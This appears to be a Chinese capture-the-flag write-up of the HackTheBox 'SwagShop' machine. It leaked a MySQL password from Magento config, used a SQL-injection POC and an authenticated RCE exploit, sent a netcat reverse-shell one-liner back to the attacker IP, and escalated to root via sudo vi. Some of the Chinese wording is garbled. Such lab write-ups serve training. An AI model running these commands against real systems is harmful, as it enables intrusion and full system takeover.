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本文浸透的主机通过非法受权。本文应用的工具和办法仅限学习交换应用，请不要将文中应用的工具和浸透思路用于任何非法用处，对此产生的所有结果，自己不承当任何责任，也不对造成的任何误用或侵害负责。
服务发现
┌──(root💀kali)-[~/htb/SwagShop]
└─# nmap -sV -sC 10.10.10.140 -p-
Starting Nmap 7.91 (https://nmap.org) at 2021-12-15 03:57 EST
Nmap scan report for 10.10.10.140
Host is up (0.26s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)
| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)
|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Did not follow redirect to http://swagshop.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1190.67 seconds
先把靶机增加到 host 文件echo "10.10.10.140 swagshop.htb" >> /etc/hosts
目录探测
┌──(root💀kali)-[~/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://swagshop.htb
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_|)
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492
Output File: /root/dirsearch/reports/swagshop.htb/_21-12-15_04-25-16.txt
Error Log: /root/dirsearch/logs/errors-21-12-15_04-25-16.log
Target: http://swagshop.htb/
[04:25:17] Starting:
[04:25:28] 301 - 309B - /js -> http://swagshop.htb/js/
[04:25:40] 200 - 10KB - /LICENSE.txt
[04:26:12] 200 - 571KB - /RELEASE_NOTES.txt
[04:26:19] 200 - 37B - /api.php
[04:26:19] 301 - 310B - /app -> http://swagshop.htb/app/
[04:26:19] 200 - 2KB - /app/
[04:26:19] 200 - 2KB - /app/etc/local.xml
[04:26:19] 200 - 9KB - /app/etc/local.xml.additional
[04:26:19] 200 - 2KB - /app/etc/local.xml.template
[04:26:19] 200 - 5KB - /app/etc/config.xml
[04:26:31] 200 - 717B - /cron.sh
[04:26:31] 200 - 0B - /cron.php
[04:26:37] 301 - 313B - /errors -> http://swagshop.htb/errors/
[04:26:38] 200 - 2KB - /errors/
[04:26:39] 200 - 1KB - /favicon.ico
[04:26:46] 200 - 946B - /includes/
[04:26:46] 301 - 315B - /includes -> http://swagshop.htb/includes/
[04:26:46] 200 - 16KB - /index.php
[04:26:47] 200 - 44B - /install.php
[04:26:48] 200 - 4KB - /js/tiny_mce/
[04:26:49] 301 - 318B - /js/tiny_mce -> http://swagshop.htb/js/tiny_mce/
[04:26:50] 301 - 310B - /lib -> http://swagshop.htb/lib/
[04:26:50] 200 - 3KB - /lib/
[04:26:54] 301 - 312B - /media -> http://swagshop.htb/media/
[04:26:55] 200 - 2KB - /media/
[04:27:05] 200 - 886B - /php.ini.sample
[04:27:10] 301 - 314B - /pkginfo -> http://swagshop.htb/pkginfo/
[04:27:19] 403 - 300B - /server-status
[04:27:19] 403 - 301B - /server-status/
[04:27:20] 200 - 2KB - /shell/
[04:27:21] 301 - 312B - /shell -> http://swagshop.htb/shell/
[04:27:24] 301 - 311B - /skin -> http://swagshop.htb/skin/
[04:27:34] 301 - 310B - /var -> http://swagshop.htb/var/
[04:27:34] 200 - 755B - /var/backups/
[04:27:34] 200 - 2KB - /var/
[04:27:34] 200 - 4KB - /var/cache/
[04:27:34] 200 - 9KB - /var/package/ 首页显示是一个叫 Magento 的网站，在 RELEASE_NOTES.txt 显示更新到1.7.0.2
==== 1.7.0.2 ====
=== Fixes ===
Fixed: Security vulnerability in Zend_XmlRpc - http://framework.zend.com/security/advisory/ZF2012-01
Fixed: PayPal Standard does not display on frontend during checkout with some merchant countries在 /app/etc/local.xml 页面貌似暴露出了一个 mysql 明码
<crypt>
<key>b355a9e0cd018d3f7f03607141518419</key>
</crypt>
<host>localhost</host>
<username>root</username>
<password>fMVWh7bDHpgZkyfqQXreTjU9</password>
<dbname>swagshop</dbname>
<initStatements>SET NAMES utf8</initStatements>
<model>mysql4</model>
<type>pdo_mysql</type>
<pdoType></pdoType>
<active>1</active>然而我不能应用这个凭证登录 ssh
通过不停的谷歌搜寻，找到这个 cms 的一个 sql 注入的 POC
┌──(root💀kali)-[~/htb/SwagShop]
└─# python poc.py http://swagshop.htb
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl/OpenSSL/crypto.py:12: CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release.
WORKED
Check http://swagshop.htb/admin with creds ypwq:123
执行 POC 当前失去后盾登录凭证：ypwq:123
登录页面：http://10.10.10.140/index.php/admin/index/
登录进零碎在底部发现版本号：Magento ver. 1.9.0.0
依照版本号找到了这个 exp
然而这个 exp 始终报错，调了半天没有调好
于是在 github 找到了另外一个代替的 exp
──(root💀kali)-[~/htb/SwagShop]
└─# python3 exp.py --username ypwq --password 123 --command "id" http://10.10.10.140/index.php/admin/index/ 1 ⨯
[+] Valid credentials (ypwq:123) found. Proceeding without adding a new user.
[-] Searching historical data using 7d as period parameter
[-] Parsing local.xml for install date.
[+] Found install date: Wed, 08 May 2019 07:23:09 +0000
[-] Sending 'id' for execution on the distant end.
[+] Exploit succeeded
uid=33(www-data) gid=33(www-data) groups=33(www-data)
证实存在近程代码执行
用上面 payload 拿到反弹 shell
python3 exp.py –username ypwq –password 123 –command “rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 4242 >/tmp/f” http://10.10.10.140/index.php…
┌──(root💀kali)-[~/htb/SwagShop]
└─# nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.140] 57068
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
提权
查看 sudo 权限
www-data@swagshop:/home/haris$ sudo -l
sudo -l
Matching Defaults entries for www-data on swagshop:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on swagshop:
(root) NOPASSWD: /usr/bin/vi /var/www/html/*
能够应用 vi 关上 /var/www/html/ 目录下的任何文件
应用上面的命令提权到 root
sudo /usr/bin/vi /var/www/html/1 -c ‘:!/bin/sh’ /dev/null
"/var/www/html/1" [New File]
# /bin/sh
# id
id
uid=0(root) gid=0(root) groups=0(root)
# whoami
whoami
root
曾经提权到 root, 能够读取零碎外面的任何文件。
正文完